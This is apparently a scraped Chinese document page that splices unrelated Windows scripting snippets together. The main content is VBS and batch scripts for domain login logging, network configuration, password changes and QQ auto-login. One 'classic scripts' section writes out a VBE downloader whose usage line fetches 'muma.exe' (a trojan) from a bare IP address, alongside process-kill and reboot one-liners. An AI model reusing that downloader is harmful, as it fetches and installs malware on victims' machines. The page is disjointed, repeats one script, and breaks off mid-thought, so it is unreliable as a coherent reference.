用VBS脚本实现域模式下客户机登陆日志
- 格式:doc
- 大小:28.50 KB
- 文档页数:2
VBS教程_VLINVBS是Visual Basic Script的简称。
它是一种用于Windows操作系统的脚本语言,通常用于自动化任务、网站开发和系统管理。
本教程将为您提供关于VBS的基本知识和用法。
一、VBS的基本语法1.注释:VBS中的注释使用单引号(')标记。
注释部分不会被解释器执行,主要用于对代码进行解释或说明。
2. 变量:在VBS中,可以使用Dim关键字声明变量,例如:```Dim namename = "VLIN"```这样就声明了一个名为name的变量,并将其赋值为"VLIN"。
3. 数据类型:VBS支持多种数据类型,包括字符串、整数、浮点数、布尔值等。
可以使用VarType函数获取变量的数据类型。
4. 运算符:VBS支持各种算术运算符(+、-、*、/、Mod等)、比较运算符(=、<、>、<>等)和逻辑运算符(And、Or、Not等)。
5.条件语句:在VBS中,可以使用If语句根据条件执行不同的代码块。
例如:```If x > 10 ThenWScript.Echo "x大于10"ElseIf x < 10 ThenWScript.Echo "x小于10"ElseWScript.Echo "x等于10"End If```在If语句中,根据x的值来执行相应的代码块。
6. 循环语句:VBS中的循环语句包括Do...Loop、For...Next和While...Wend等。
例如:```Dim iFor i = 1 To 10WScript.Echo iNext```这段代码会从1循环到10,依次输出每个数值。
7.函数和子程序:VBS中可以定义自己的函数和子程序。
例如:```Function add(a, b)add = a + bEnd FunctionWScript.Echo add(3, 5)```这样定义了一个名为add的函数,接受两个参数并返回它们的和。
开机自动设置新密码VBS脚本本脚本由愚工编写,为方便windows密码保护的用户使用,将本脚本复制到“C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Startup”目录下,并在组策略中的计算机配置-windows设置-脚本中启动本程序,本程序将在每次开机时根据您设定的规律修改用户密码。
起到每日都自动修改密码的作用。
即使你在系统中重新设置了密码,在重启系统时,也会自动设置新的密码。
On Error Resume NextDim WSHSet WSH=WSCRIPT.CreateObject("Wscript.Shell")yy=Year(Now())mm=right("0"&Month(Now()),2)dd=right("0"&Day(Now()),2)ww=Right("0"&Weekday(Now()),2)tt=Time()rr=int(Rnd(10)*10000000000)ttt=Left(tt,2)&"点"&Left(Right(tt,5),2)&"分"week=chnweek(ww)下面一行的psw值是自己定义的密码组合方式,本例中的组合是“用户名.年月日周”。
psw="."&yy&mm&dd&wwmsg="┌──────────────────┐"&chr(10)&chr(13)&"│☆欢迎使用愚工计算机口令保护系统☆│"&chr(10)&chr(13)&"└──────────────────┘"&Chr( 10)&Chr(13)&Chr(13)&" 今天是公历:"&yy&"年"&mm&"月"&dd&"日 "&week&chr(10)&chr(13)&Chr(13)&" 现在时间是:"&ttt&Chr(10)&Chr(13)&Chr(13)&" 密码生成序列号:"&rrMsgBox msgstrComputer = "."下面的用户名换成自己使用的用户名。
高级技巧在Shell脚本中使用日志记录和调试技术Shell脚本是一种强大的自动化任务处理工具,可以用于在Unix或Linux系统中执行复杂的任务。
为了确保脚本的正确性和可靠性,我们需要使用日志记录和调试技术来帮助我们定位和解决问题。
本文将介绍几种在Shell脚本中使用日志记录和调试技术的高级技巧。
1. 使用日志记录技术日志记录是一种记录脚本执行过程中信息的技术,可以帮助我们追踪脚本的执行过程,找出其中的问题。
在Shell脚本中,可以使用以下命令将日志输出到文件中:```shellexec > >(tee -a myscript.log) 2>&1```上述命令的作用是将标准输出和标准错误输出重定向到一个日志文件中,并将其同时输出到终端上。
你可以根据需要将`myscript.log`替换为任何你喜欢的文件名。
在脚本的每个重要步骤或关键操作之前,我们可以插入类似以下的记录日志的语句:```shellecho "[INFO] 步骤一开始执行..." >> myscript.log```上述命令将在日志文件中添加一条包含当前步骤的信息的日志记录。
使用不同的日志级别(如INFO、WARNING、ERROR)可以帮助我们更好地区分不同类型的日志信息。
2. 使用调试技术调试是解决Shell脚本问题的常用方法。
通过调试我们可以逐行执行脚本,并观察每一步的执行结果,帮助我们找出脚本中的错误并对其进行修复。
```shell#!/bin/bash -x```在脚本的第一行加入以上命令,可以开启调试模式。
在调试模式下,脚本将输出每个执行命令的详细信息,包括变量的值、循环的迭代次数等,这样我们可以更好地了解脚本的执行过程。
除了使用`-x`选项开启调试模式外,我们还可以使用以下命令在脚本中手动添加调试信息:```shellecho "变量A的值是:$A"```上述命令将输出变量`A`的值,帮助我们观察和定位问题所在。
收集的一些经典的vbs脚本大全记录一些经典的vbs脚本1.文件下载(无回显)echo iLocal = LCase(WScript.Arguments(1)) >iget.vbeecho iRemote = LCase(WScript.Arguments(0)) >>iget.vbeecho Set xPost = createObject("Microsoft.XMLHTTP") >>iget.vbeecho xPost.Open "GET",iRemote,0 >>iget.vbeecho xPost.Send() >>iget.vbeecho Set sGet = createObject("ADODB.Stream") >>iget.vbeecho sGet.Mode = 3 >>iget.vbeecho sGet.Type = 1 >>iget.vbeecho sGet.Open() >>iget.vbeecho sGet.Write(xPost.responseBody) >>iget.vbeecho sGet.SaveToFile iLocal,2 >>iget.vbe用法: cscript hget.vbs http://111.111.111.111/muma.exe muma.exe2.列举进程@echo for each ps in getobject _ >ps.vbs@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs@echo wscript.echo ps.handle^&vbtab^&^&vbtab^&ps.executablepath:next >>ps.vbs用法:cscript ps.vbs3.终止进程@echo for each ps in getobject _ >pskill.vbs@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs用法:cscript pskill.vbs pid4.重启系统@echo for each os in getobject _ >reboot.vbs@echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs@echo os.win32shutdown(2):next >>reboot.vbs用法:cscript reboot.vbsVBS脚本在系统安全中的八则巧妙应用VBS脚本病毒的大量流行使我们对VBS的功能有了一个全新的认识,现在大家对它也开始重视起来。
VBS脚本批处理创建域⽤户【可⾃动设置⽤户密码,创建OU】[转]'***************************************************************' 批量添加⽤户的脚本,批量创建和添加到OU,⾃动创建对应OU。
经过实践:' 如果要创建空密码帐户:运⾏前,先调整“域安全策略”,修改“密码复杂"、"最⼩长度",' 并gpupdate /force(WIN2K:secedit /refreshpolicy machine_policy /enforce)刷新组策略。
''' 使⽤⽅法:cscript adduser.vbs NAME.TXT' ========================================================' NAME.TXT的内容格式:' 姓名,带域后缀完整登录名,密码,所在OU,部门信息'' e.g. 郭强龙,guoql@,skagon,信息安全部,信息安全部' 熊剑,xiongjian@,password,系统部,系统部' 朱朱,zhuzhu@,password12,信息安全部,信息安全部' ========================================================'' skagon 2006-11-17'********************************************************************On Error resume nextIf Wscript.Arguments.Count <> 1 Then Usage()Const ADS_PROPERTY_APPEND = 3set WshShell = WScript.CreateObject("WScript.Shell")Set FSO = CreateObject("Scripting.FileSystemObject")Set NamesFile = FSO.OpenTextFile(Wscript.Arguments(0), 1)'变量Dim FullName'姓名Dim LoginName'登陆名Dim FullLoginName'加域后缀登陆名Dim FirstName'姓Dim LastName'名Dim Password'密码Dim OUname'组织单位名称Dim OfficeName'部门名称,⽤来看的,和OUname⼀样即可'常量'''Set objOU = GetObject("LDAP://CN=Users,dc=sk,dc=com,dc=cn")'''这⾥"CN=Users",表⽰直接在域⾥⾯缺省的OU:Users创建中创建''''''Set objOU = GetObject("LDAP://dc=sk,dc=com,dc=cn")'''表⽰直接在域创建中,将和域缺省的⼏个对象并列,如Builtin,Computer.....''''''Set objOU = GetObject("LDAP://OU=mcse,dc=sk,dc=com,dc=cn")'''这⾥"OU=mcse",表⽰在⾃建的OU:mcse⾥⾯创建。
1.实例:访问图形编辑器中旳对象可以使用 VBS WinCC 对所有图形编辑器对象进行访问,以使图形运行环境动态化。
根据变量或周期性(例如闪烁)状况,可在执行操作(例如在按钮上单击鼠标)时使图形对象动态化。
如下示例阐明怎样在鼠标单击后更改图形对象。
环节在如下示例中,每次单击鼠标时运行系统中圆旳半径都会设置为 20:Dim objCircleSet objCircle= ScreenItems("Circle1")objCircle.Radius = 202.实例:定义对象旳颜图形对象旳颜色通过 RGB 值(红/绿/蓝)定义。
可以设置或读出图形对象旳颜色值。
环节如下示例将“ScreenWindow1”旳填充颜色定义为蓝色:Dim objScreenSet objScreen = HMIRuntime.Screens("ScreenWindow1")objScreen.FillStyle = 131075objScreen.FillColor = RGB(0, 0, 255)3.例:怎样组态语言切换可使用 VBS 切换 WinCC 旳运行系统语言。
最常用旳是包括对应语言代码旳按钮,这些按钮位于项目旳起始页上。
在 VBS 中通过使用国家代码(例如,1031 表达德语 - 默认,1033 表达英语 - 美国等)指定运行系统语言。
有关所有国家代码旳汇总,请参见标题为“区域方案 ID (LCID) 图”旳主题下旳 VBScript 基本知识。
环节:使用按钮上旳“Mouse click”事件创立 VBS 动作,输入如下动作代码将运行系统语言切换为德语:nguage = 10314.实例:禁用运行系统简介可以使用 VBS 终止 WinCC 运行系统,例如,通过鼠标单击,依托变量值或其他事件(例如,启动运行系统时密码旳多次错误输入)。
要执行旳操作如下示例会终止 WinCC 运行系统:HMIRuntime.Stop5.实例:全局组态画面更改简介VBS 可用于启动全局画面更改,因而会在分布式系统旳客户机上显示服务器中旳画面。
终端服务的日志监控和登录日志记录的方式单独将终端服务(Terminal Service)的日志监控分列出来是有原因的,微软Win2000服务器版中自带的终端服务Terminal Service是一个基于远程桌面协议(RDP)的工具,它的速度非常快,也很稳定,可以成为一个很好的远程管理软件,但是因为这个软件功能强大而且只受到密码的保护,所以也非常的危险,一旦入侵者拥有了管理员密码,就能够象本机一样操作远程服务器(不需要高深的NT命令行技巧,不需要编写特殊的脚本和程序,只要会用鼠标就能进行一切系统管理操作,实在是太方便、也实在是太可怕了)。
虽然很多人都在使用终端服务来进行远程管理,但是,并不是人人都知道如何对终端服务进行审核,大多数的终端服务器上并没有打开终端登录的日志,其实打开日志审核是很容易的,在管理工具中打开远程控制服务配置(Terminal Service Configration),点击"连接",右击你想配置的RDP 服务(比如 RDP-TCP(Microsoft RDP 5.0),选中书签"权限",点击左下角的"高级",看见上面那个"审核"了么?我们来加入一个Everyone组,这代表所有的用户,然后审核他的"连接"、"断开"、"注销"的成功和"登录"的成功和失败就足够了,审核太多了反而不好,这个审核是记录在安全日志中的,可以从"管理工具"->"日志查看器"中查看。
现在什么人什么时候登录我都一清二楚了,可是美中不足的是:这个破烂玩艺居然不记录客户端的IP(只能查看在线用户的IP),而是华而不实的记录什么机器名,倒!要是别人起个PIG的机器名你只好受他的嘲弄了,不知道微软是怎么想的,看来还是不能完全依赖微软呀,我们自己来吧?写个程序,一切搞定,你会C么?不会?VB呢?也不会?Delphi?……什么?你什么编程语言都不会?我倒,毕竟系统管理员不是程序员呀,别急别急,我给你想办法,我们来建立一个bat文件,叫做TSLog.bat,这个文件用来记录登录者的IP,内容如下:time /t >>TSLog.lognetstat -n -p tcp | find ":3389">>TSLog.logstart Explorer解释一下这个文件的含义:第一行是记录用户登录的时间,time /t的意思是直接返回系统时间(如果不加/t,系统会等待你输入新的时间),然后我们用追加符号">>"把这个时间记入TSLog.log作为日志的时间字段;第二行是记录用户的IP地址,netstat是用来显示当前网络连接状况的命令,-n 表示显示IP和端口而不是域名、协议,-ptcp是只显示tcp协议,然后我们用管道符号"|"把这个命令的结果输出给find命令,从输出结果中查找包含":3389"的行(这就是我们要的客户的IP所在的行,如果你更改了终端服务的端口,这个数值也要作相应的更改),最后我们同样把这个结果重定向到日志文件TSLog.log中去,于是在SLog.log文件中,记录格式如下:22:40TCP192.168.12.28:3389192.168.10.123:4903ESTABLISHED22:54TCP192.168.12.28:3389 192.168.12.29:1039ESTABLISHED 也就是说只要这个TSLog.bat文件一运行,所有连在3389端口上的IP都会被记录,那么如何让这个批处理文件自动运行呢?我们知道,终端服务允许我们为用户自定义起始的程序,在终端服务配置中,我们覆盖用户的登录脚本设置并指定TSLog.bat为用户登录时需要打开的脚本,这样每个用户登录后都必须执行这个脚本,因为默认的脚本(相当于shell环境)是Explorer(资源管理器),所以我在TSLog.bat的最后一行加上了启动Explorer的命令startExplorer,如果不加这一行命令,用户是没有办法进入桌面的!当然,如果你只需要给用户特定的Shell:例如cmd.exe或者word.exe你也可以把start Explorer替换成任意的shell。
用户电脑操作日志
日期:2023年5月12日
一、用户信息
用户姓名:张三
用户ID:001
二、操作记录
1. 早上7:30,用户打开电脑,启动时间约为3分钟。
2. 早上8:00,用户开始使用浏览器访问公司内部网,浏览了几个工作相关的网页。
3. 早上8:30,用户开始使用Excel软件处理数据,制作了一个包含10张表格的工作簿。
4. 早上9:00,用户下载了一份大小为25MB的软件更新包。
5. 下午1:00,用户开始使用Word软件编写一份报告,报告内容涉及工作项目的情况。
6. 下午2:30,用户使用Outlook软件发送了一封邮件,接收者为公司内部的其他部门。
7. 下午3:30,用户关闭了电脑,结束了一天的工作。
备注:用户操作较为正常,没有出现异常情况或违规操作。
但建议用户定期清理电脑缓存和垃圾文件,以提高电脑运行速度和稳定性。
三、问题反馈
如有任何异常操作或需要改进的地方,请联系技术支持部门。
四、建议和总结
根据用户操作日志,建议用户定期清理电脑缓存和垃圾文件,以提高电脑运行速度和稳定性。
此外,建议用户在使用办公软件时,及时更新软件版本,以确保使用安全和稳定性。
综上所述,该用户电脑操作日志表现正常,没有出现异常情况或违规操作。
但为了提高电脑性能和使用体验,建议用户采取以上措施。
同时,如有任何异常操作或需要改进的地方,请及时联系技术支持部门。
以上是本次用户电脑操作日志的详细记录和分析,我们将继续关注用户的使用情况,提供更好的服务和技术支持。
如有其他问题或需求,请随时联系我们。
域用户登陆脚本域用户登陆脚本(网络收集)如何为一个域用户设置登陆脚本?- BAT可否作为登陆脚本?- 在域用户“属性”中,应如何指定登陆脚本名?"D:\x.bat"还是"\\srv\x.bat"?还是其它?- 脚本应该放在何处?- 还有没有其它要注意的问题?”回答:1、bat可以作为登陆脚本执行,确切说一切可以在windows平台执行的东西都可以作为登陆脚本来用。
2、应该指定以\\server\……这样格式开头的路径。
因为client在登陆的时候执行脚本,其实是从服务器上下载到本地,然后执行。
这样的话,如果指定c:\这样的路径,client只会在本地的c盘查找,而不是到server上的路径去查找。
3、脚本可以放在一切client能够读取的位置。
通常这个位置处于\\server\netlogon的share 下(在服务器上的位置是%systemroot%\sysvol\sysvol\domainname\scripts),但是如果你制订了策略,那么脚本默认的存放路径应该在%systemroot%\sysvol\sysvol\domainname\policies\guid\user(machine)\scripts下,如果你放在别的位置,需要在脚本执行栏的位置输入绝对路径,格式同样需要以\\server\……开头。
4、其他的问题也很多了,一般来说就是脚本适用于策略的时候,客户端可能会执行不到。
一般来说可能会有一下的几个原因:a、脚本从名称到内容都尽可能的不要用特殊字符、长文件名(超过8个字符)、空格,比如&等。
这样的脚本在不同的os上可能执行会有问题。
b、脚本存放的位置和路径,请遵照上面的原则来做。
c、脚本的编写方面。
特别是适用net use 来map一个fileserver上的路径。
有可能在登陆之前,client上已经有网络盘的映射,如果恰好和你map的盘符一样,将有可能导致脚本执行失败,你可以在脚本的最前面加一句net use * /d /y来解决这个问题。
一直用的是狂人版的QQ,也用它附赠的自动登录器很久了,不过最近一版的狂人QQ 不知为何取消了自动登录组件。
好在QQ2009已经能够同时记住多个号码的密码,虽然要多点击几下,但依然能够实现免输入密码登录。
谁知最近不知道电脑发了什么疯,每隔一段时间,QQ记住的密码就会被清空。
我的两个QQ号密码都设置得比较复杂,每次登录要输入两遍密码实在是件痛苦的事情,于是决定自制一个登录器。
在网上找了许久,发现了一个用VBS制作QQ登录脚本的办法:代码如下:set WshShell = WScript.CreateObject("WScript.Shell") '创建一个Shell对象WshShell.Run "C:\Progra~1\Tencent\QQ\QQ.exe" '运行QQ,这里改成你自己的QQ目录WScript.Sleep 3000 '休眠3000毫秒(停止3秒)WshShell.SendKeys "{tab}"WScript.Sleep 100WshShell.SendKeys "xxxxxxxxx" '这里的xxxx用你的QQ号码代替Wscript.Sleep 100WshShell.SendKeys "{tab}"Wscript.Sleep 100WshShell.SendKeys "********" '这里的****用你的QQ密码代替Wscript.Sleep 1000WshShell.Sendkeys "{enter}"需要注意的是,文件夹的名如果大于8个字符或者中间有空格,要写成“PROGRA~1”这种形式,就是保留名字的前6个字母然后加上“~1”,这个“~1”代表前6个字母相同文件夹名字的第一个文件夹,例如有2个文件夹中间都有空格:Program Files和Program Filez,那就先以名称排列图标,看最前面的就是~1,第2个就是~2可是把代码复制过来后,却始终说密码错误。
批处理、VBS实现⾃动设置IP、默认⽹关、DNS、WINS、IE代理(全)因为公司有同事负责⼤连、沈阳两个城市,经常在两地来回⾛动,到每个城市后,都要⾃⼰⼿动更改相应的⽹络配置,况且到外地时住的是酒店,酒店上⽹是⾃动获得IP,⼜要将⽹络设置取消,真的很⿇烦!于是想起写⼀个批处理!来解决这个问题!主要⽤到的命令是netsh.-、第⼀种⽅法是将两地的⽹络配置先进⾏本机设置,然后再导出,等⽤到的时候,再分别导⼊。
1、将现有的配置导出到d:\dalian.txt中:netsh –c interface dump > d:\dalian.txt2、将之前导出的d:\dalian.txt⽂件进⾏导⼊:netsh -f d:\dalian.txt这种⽅法在执⾏时有点慢,不如下⾯的⽅法。
⼆、第⼆种⽅法语法格式:1、设置IP、⽹关netsh interface ip set address name="本地连接" static 要设置的IP地址⼦⽹掩码⽹关IP ⽹关跃数2、设置主DNS、WINSnetsh interface ip set dns/wins name="本地连接" static 要设置的DNS地址 register=PRIMARY2、设置备⽤DNS、WINSnetsh interface ip add dns/wins name="本地连接" 要设置的DNS地址 index=2具体配置如下:1、酒店.bat复制代码代码如下:@echo offecho 取消指定⽹络配置,请稍等….echo.echo 正在设置⾃动获取IP地址,请稍等……netsh interface ip set address name="本地连接" source=dhcpecho 正在设置⾃动获取DNS,请稍等……netsh interface ip set dns name="本地连接" source=dhcpecho 设置完成!2、⼤连.bat复制代码代码如下:@echo offecho 开始设置⼤连⽹络地址!echo 正在设置⼤连IP ,请稍等……netsh interface ip set address name="本地连接" source=static addr=10.15.100.86 mask=255.255.0.0echo 正在设置⼤连⽹关,请稍等……netsh interface ip set address name="本地连接" gateway=10.15.0.253 gwmetric=1echo 正在设置⼤连主DNS ,请稍等……netsh interface ip set dns name="本地连接" source=static addr=10.15.0.1 register=PRIMARYecho 正在设置⼤连备⽤DNS ,请稍等……netsh interface ip add dns name="本地连接" addr=10.100.1.2 index=2echo 正在设置⼤连主WINS ,请稍等……netsh interface ip set wins name="本地连接" source=static addr=10.15.0.1echo 正在设置⼤连备⽤WINS ,请稍等……netsh interface ip add wins name="本地连接" addr=10.100.1.2 index=2echo 设置完成!3、沈阳.bat复制代码代码如下:@echo offecho 开始设置沈阳⽹络地址!echo 正在设置沈阳IP ,请稍等……netsh interface ip set address name="本地连接" source=static addr=10.16.100.86 mask=255.255.0.0 echo 正在设置沈阳⽹关,请稍等……netsh interface ip set address name="本地连接" gateway=10.16.0.253 gwmetric=1echo 正在设置沈阳主DNS ,请稍等……netsh interface ip set dns name="本地连接" source=static addr=10.16.0.1 register=PRIMARYecho 正在设置沈阳备⽤DNS ,请稍等……netsh interface ip add dns name="本地连接" addr=10.100.1.2 index=2echo 正在设置沈阳主WINS ,请稍等……netsh interface ip set wins name="本地连接" source=static addr=10.16.0.1echo 正在设置沈阳备⽤WINS ,请稍等……netsh interface ip add wins name="本地连接" addr=10.100.1.2 index=2echo 设置完成!⾄此第⼆种⽅法完成!三、也可以在批处理中使⽤变量!例如⼤连.BAT可以按照如下⽅法写:复制代码代码如下:@ echo offrem 设置变量set Nic=本地连接rem //可以根据你的需要更改,set Addr=10.15.100.86set Mask=255.255.0.0set Gway=10.15.0.253set Dns1=10.15.0.1set Dns2=10.100.1.2set Wins1=10.15.0.1set Wins2=10.100.1.2rem //以上依次为IP地址、⼦⽹掩码、⽹关、⾸选DNS、备⽤DNS、⾸选WINS、备⽤WINSecho ------------------------------------------------------echo 正在进⾏⼤连IP设置,请稍等rem //可以根据你的需要更改echo. IP地址 = %Addr%echo. ⼦⽹掩码 = %Mask%netsh interface ip set address name=%Nic% source=static addr=%Addr% mask=%Mask% >nul echo. ⽹关 = %Gway%netsh interface ip set address name=%Nic% gateway=%Gway% gwmetric=1 >nulecho. ⾸选DNS = %Dns1%netsh interface ip set dns name=%Nic% source=static addr=%Dns1% register=PRIMARY >nul echo. 备⽤DNS = %Dns2%netsh interface ip add dns name=%Nic% addr=%Dns2% index=2 >nulecho. ⾸选WINS = %Wins1%netsh interface ip set wins name=%Nic% source=static addr=%Wins1% register=PRIMARY >nul echo. 备⽤WINS = %Wins2%netsh interface ip add wins name=%Nic% addr=%Wins2% index=2 >nulecho ------------------------------------------------------echo IP设置完成!依个⼈习惯采⽤适合⾃⼰的⽅法。
因为工作需要.需要了解当前域客户端的主机登陆信息.根据一段代码实现了登陆日志功能.可以收集到当前帐号.计算机名.IP,网关.MAC,登陆时间等.日志为txt格式.可以直接用excel读取.然后进行数据筛选.当然如果您要做一个数据库也行.直接可以导入了.很方便.代码如下:On Error Resume NextDimnetip,netmask,netway,netmac,netdns,netdns2,localip,remoteip,WshShell, fso,computernameConst logfile="user_Login.txt"Set WshShell = CreateObject("wscript.Shell")Set fso = CreateObject("scripting.filesystemobject")SS="192.168.0.5"If isip(ss) Thenremoteip1=ss : remoteip=ss:elseremoteip1 = domToip(SS)remoteip = pingtoip(ss)End if'welcome="现在时间:" & now() & " 请将以下信息复制到帮助系统中 " & vbCrLf welcome=""& vbCrLfCall getNetinfo()welcome=welcome & " 本机IP" & netip & " 本机mac(" & netmac & ") 本机DNS:" & netdns & " 辅助DNS:(" & netdns2 & ") 网关:" & netway & " " strCmd="cmd /c @echo 当前域用户:%username% 计算机名:%computername% 登陆时间:%date% >> " & logfilewritelog welcome,8'WshShell.Run strCmd,0,True'if Not isip(remoteip) Then writelog "您输入的地址无法ping通或无法解析",8WshShell.Run strCmd,0,TrueWshShell.Run "notepad.exe " & logfile,1,False'echo "用户信息认证成功" & vbCrLfSet WshShell=Nothing : Set fso=NothingSub writelog(logstr,mode)On Error Resume nextSet f=fso.OpenTextFile(logfile,mode,False)f.Write logstrf.CloseIf Err.number<>0 Then MsgBox "无法写入日志,请先删除日志文件":wscript.quitEnd SubSub getNetinfo()On Error Resume NextSet objWMIService = GetObject("winmgmts:\\.\root\cimv2")Set colNetAdapters = objWMIService.ExecQuery ("Select * fromWin32_NetworkAdapterConfiguration where IPEnabled=TRUE")For Each objNetAdapter In colNetAdaptersnetip = objNetAdapter.IPAddress(0)netmask = objNetAdapter.IPSubnet(0)netway = objNetAdapter.DefaultIPGateway(0)netmac = objNetAdapter.MACAddress(0)dnsi=objNetAdapter.DNSServerSearchOrderIf UBound(dnsi)>-1 Then netdns = dnsi(0)If UBound(dnsi)>0 Then netdns2 = dnsi(1)NextSet objWMIService=NothingEnd SubSub echo(str)WScript.Echo strEnd SubFunction isip(byval str)ipstr=Trim(str)Dim oreg:Set oreg=New RegExporeg.Pattern="^((25[0-5]|2[0-4]\d|1?\d?\d)\.){3}(25[0-5]|2[0-4]\d|1 ?\d?\d)$"isip=oreg.Test(ipstr)Set oreg=nothingEnd Function。
跳过控制面板,利用VBS脚本修改计算机管理员账户的密码【摘要】现代化社会,电脑已成为我们不可缺少的一部分,有很多用户的网络环境没有AD域,服务器都是属于工作组的,安全性不是很高。
然而管理员账号的密码需要定期修改,每次修改都需要花很多时间做重复的烦人的工作。
所以,笔者写了一个VBS脚本,把需要改管理员密码的服务器(IP地址)写入到一个TXT文件中,然后放在脚本所在目录下,双击运行脚本,输入要更改的用户名和密码,即可完成这些任务,大大提高了运维工作效率。
【正文】1、首先在新建一个文本文档,粘贴下面一段代码。
保存记事本文档,重命名为“更改账户登陆密码”,把文件的后缀名txt改为vbs。
代码如下:dim username,passwordusername=InputBox ('请输入要修改密码的用户名: ')NewPassword=InputBox('请输入新的密码: ')IF username=Empty or NewPassword=Empty Then '判断用户名和密码输入是否为空,为空则提示并退出脚本Wscript.Echo '您输入的用户名或密码为空,请重新运行脚本输入。
'Wscript.QuitEnd IfReturn=MsgBox ('您输入的用户名为:'&username&vbcrlf&vbcrlf&'即将要修改的新密码为:'&NewPassword&vbcrlf&vbcrlf&'取消修改密码请点击“取消”,继续请点击“确定”',VBOKCancel + vbQuestion+ vbDefaultButton2,'用户名密码修改提示')If Return=2 Then '判断用户点击的按钮,确定则继续修改密码,取消则退出脚本不修改密码Wscript.QuitEnd IfSet FSO=createObject('scripting.FileSystemObject')If FSO.FileExists('ServersIP.txt') ThenSet IPFile=FSO.OpenTextFile('ServersIP.txt',1,false) '循环读取ServersIP.txt的每一行内容,获取要修改密码的计算机Do While IPFile.AtendOfStream<>truestrComputer=IPFile.ReadLine()Call CPword(strComputer,UserName,NewPassword) '调用密码修改函数LoopElseWscript.Echo '未在脚本所在目录找到ServersIP.txt文件,请创建并输入计算机IP地址(一个IP占一行)' '如果不存在ServersIP.txt则提示并退出脚本Wscript.QuitEnd If'清除缓存IPFile.CloseSet FSO=nothingSet IPFile=nothingFunction CPword(strComputer,UserName,NewPassword) '密码修改函数Set objUser=GetObject('WinNT://' & strComputer & '/'&UserName&',user') '修改账户名为administrator的密码objUser.SetPassword NewPassword '更改为新密码objUser.SetInfo '账号的信息对象Wscript.echo '密码修改完成,请测试账户是否可以登录!'End Function2、在“更改账户登陆密码”的同文件夹中新建一个文本文档,输入本地IP地址,保存并重命名为ServersIP.txt。
Shell脚本实现Linux系统用户活动日志记录在Linux系统中,用户活动日志记录是非常重要的,它可以帮助系统管理员了解用户的操作行为并进行必要的审计。
本文将介绍如何通过编写Shell脚本来实现Linux系统的用户活动日志记录。
1. 获取用户登录信息在Linux系统中,可以通过w命令获取当前登录用户的信息。
我们可以编写一个Shell脚本,使用该命令并将结果保存至日志文件中。
```shell#!/bin/bashlog_file="/var/log/user_activity.log"w >> "$log_file"```将上述脚本保存为`user_activity.sh`并赋予执行权限后,可以使用`./user_activity.sh`命令来执行脚本。
执行后,登录用户信息将被追加至`/var/log/user_activity.log`文件中。
2. 监听用户命令执行除了登录信息,我们也可以记录用户执行的命令以便追踪用户活动。
在Linux系统中,可以通过`~/.bashrc`或`/etc/profile`等文件中添加Shell命令来达到这一目的。
```shell#!/bin/bashlog_file="/var/log/user_activity.log"# 获取用户执行的命令command=$(history 1 | sed 's/[0-9]* //')# 记录用户活动至日志文件echo "$(date +"%Y-%m-%d %H:%M:%S") User: $USER Command: $command" >> "$log_file"```将上述脚本追加至`~/.bashrc`文件中,每次用户执行命令时,该脚本会将执行时间、用户名和命令内容记录至`/var/log/user_activity.log`文件中。
因为工作需要.需要了解当前域客户端的主机登陆信息.根据一段代码实现了登陆日志功能.可以收集到当前帐号.计算机名.IP,网关.MAC,登陆时间等.日志为txt格式.可以直接用excel读取.然后进行数据筛选.当然如果您要做一个数据库也行.直接可以导入了.很方便.
代码如下:
On Error Resume Next
Dim
netip,netmask,netway,netmac,netdns,netdns2,localip,remoteip,WshShell, fso,computername
Const logfile="user_Login.txt"
Set WshShell = CreateObject("wscript.Shell")
Set fso = CreateObject("scripting.filesystemobject")
SS="192.168.0.5"
If isip(ss) Then
remoteip1=ss : remoteip=ss:
else
remoteip1 = domToip(SS)
remoteip = pingtoip(ss)
End if
'welcome="现在时间:" & now() & " 请将以下信息复制到帮助系统中 " & vbCrLf welcome=""& vbCrLf
Call getNetinfo()
welcome=welcome & " 本机IP" & netip & " 本机mac(" & netmac & ") 本机DNS:" & netdns & " 辅助DNS:(" & netdns2 & ") 网关:" & netway & " " strCmd="cmd /c @echo 当前域用户:%username% 计算机名:%computername% 登陆时间:%date% >> " & logfile
writelog welcome,8
'WshShell.Run strCmd,0,True
'if Not isip(remoteip) Then writelog "您输入的地址无法ping通或无法解析",8
WshShell.Run strCmd,0,True
WshShell.Run "notepad.exe " & logfile,1,False
'echo "用户信息认证成功" & vbCrLf
Set WshShell=Nothing : Set fso=Nothing
Sub writelog(logstr,mode)
On Error Resume next
Set f=fso.OpenTextFile(logfile,mode,False)
f.Write logstr
f.Close
If Err.number<>0 Then MsgBox "无法写入日志,请先删除日志文件
":wscript.quit
End Sub
Sub getNetinfo()
On Error Resume Next
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colNetAdapters = objWMIService.ExecQuery ("Select * from
Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")
For Each objNetAdapter In colNetAdapters
netip = objNetAdapter.IPAddress(0)
netmask = objNetAdapter.IPSubnet(0)
netway = objNetAdapter.DefaultIPGateway(0)
netmac = objNetAdapter.MACAddress(0)
dnsi=objNetAdapter.DNSServerSearchOrder
If UBound(dnsi)>-1 Then netdns = dnsi(0)
If UBound(dnsi)>0 Then netdns2 = dnsi(1)
Next
Set objWMIService=Nothing
End Sub
Sub echo(str)
WScript.Echo str
End Sub
Function isip(byval str)
ipstr=Trim(str)
Dim oreg:Set oreg=New RegExp
oreg.Pattern="^((25[0-5]|2[0-4]\d|1?\d?\d)\.){3}(25[0-5]|2[0-4]\d|1 ?\d?\d)$"
isip=oreg.Test(ipstr)
Set oreg=nothing
End Function。